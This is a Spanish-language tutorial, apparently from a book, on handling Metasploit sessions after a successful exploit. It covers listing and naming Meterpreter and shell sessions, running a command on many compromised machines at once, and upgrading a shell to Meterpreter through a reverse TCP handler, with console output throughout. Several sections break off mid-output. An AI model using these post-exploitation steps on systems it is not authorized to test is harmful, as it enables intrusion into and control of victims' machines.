Utilizar sesiones
Descripción general de la sesión
Después de una explotación exitosa, y en función de la payload elegida, es posible que un atacante tenga una conexión entre su máquina y la máquina objetivo. Dentro del Framework Metasploit se trata de una session:
msf6 exploit(............)> exploit
[...]
[*] Command shell session 1 opened (192.168.171.156:43923 ->
172.16.64.130:4444) at 2019-05-24 16:56:24 +0200
msf6 exploit(............)> exploit
[...]
[*] Meterpreter session 1 opened (192.248.226.2:4444 ->
192.248.226.3:47300) at 2019-06-19 17:34:05 +0000
Usar sesiones puede ser particularmente potente. De hecho, aunque es habitual utilizarlas para interactuar solo con una máquina, es posible ejecutar un comando en varias máquinas al mismo tiempo (perfecto para que la explotación sea masiva), obtener información sobre una de las sesiones o incluso transformar un shell sencillo en un shell Meterpreter.
El uso del comando session solo es posible ANTES de explotar la vulnerabilidad; de lo contrario, se tratará de otro comando. Para esto, es necesario no interactuar con la sesión recién creada durante la explotación. Este truco es posible gracias a la opción -z del comando exploit:
msf6 exploit(multi/http/apprain_upload_exec) >...
Listar las sesiones e interacciones
Una vez creadas las sesiones mediante los diferentes exploits/payloads, es posible listarlas con el comando sessions. También es posible utilizar el comando sessions -l, que devuelve exactamente el mismo resultado:
msf6 exploit(multi/http/apprain_upload_exec) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter php/linux www-data (33) @ victim-1
192.84.65.2:4444 -> 192.84.65.3:42182 (192.84.65.3)
2 meterpreter php/linux www-data (33) @ victim-1
192.84.65.2:4444 -> 192.84.65.3:42552 (192.84.65.3)
msf6 exploit(multi/http/apprain_upload_exec) > sessions...
Gestionar sesiones
En el marco de una explotación masiva, es probable que se abran muchas sesiones durante la fase de prueba. Aunque el comando que hemos destacado previamente (sessions -v) proporciona detalles sobre las sesiones, puede resultar difícil administrarlas. Por lo tanto, para una mejor gestión, es posible nombrar las sesiones con el comando sessions -n -i <ID_SESIÓN >:
msf6 exploit(multi/http/apprain_upload_exec) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter php/linux www-data (33) @ victim-1
192.84.65.2:4444 -> 192.84.65.3:42182 (192.84.65.3)
2 meterpreter php/linux www-data (33) @ victim-1
192.84.65.2:4444 ->...
Explotación masiva
En caso de que haya muchas sesiones activas, puede ser conveniente ejecutar un comando en varias sesiones simultáneamente.
A través de los tres comandos que vamos a abordar a continuación, es posible especificar las sesiones en las que se ejecutarán los comandos con la opción -i seguida de los números de sesión. Si no se especifica esta opción, los comandos se ejecutarán en todas las sesiones predeterminadas.
Por lo tanto, es posible utilizar diferentes comandos:
-
sessions -c <COMANDO> para ejecutar los comandos de sistema
msf exploit(handler) > sessions -c 'reg query
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName'
[*] Running 'reg query "HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion" /v ProductName' on session 1 (192.168.1.138:50441)
! REG.EXE VERSION 3.0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
ProductName REG_SZ Microsoft Windows XP
[*] Running 'reg query "HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion" /v ProductName' on session 2 (192.168.1.138:54920)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
ProductName REG_SZ Microsoft...
Meterpreter y más allá
Obtener un shell Meterpreter en una máquina objetivo es el Santo Grial. Sin embargo, en algunas explotaciones, no siempre es posible obtener el codiciado Meterpreter:
msf6 exploit(multi/http/werkzeug_debug_rce) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell python/python 192.90.63.2:4444 ->
192.90.63.3:48162 (192.90.63.3)
A pesar de esto, todavía existe la posibilidad de obtener el shell deseado gracias al comando sessions -u:
msf6 exploit(multi/http/werkzeug_debug_rce) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s):
[1]
[!] SESSION may not be compatible with this module.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.90.63.2:4433 ...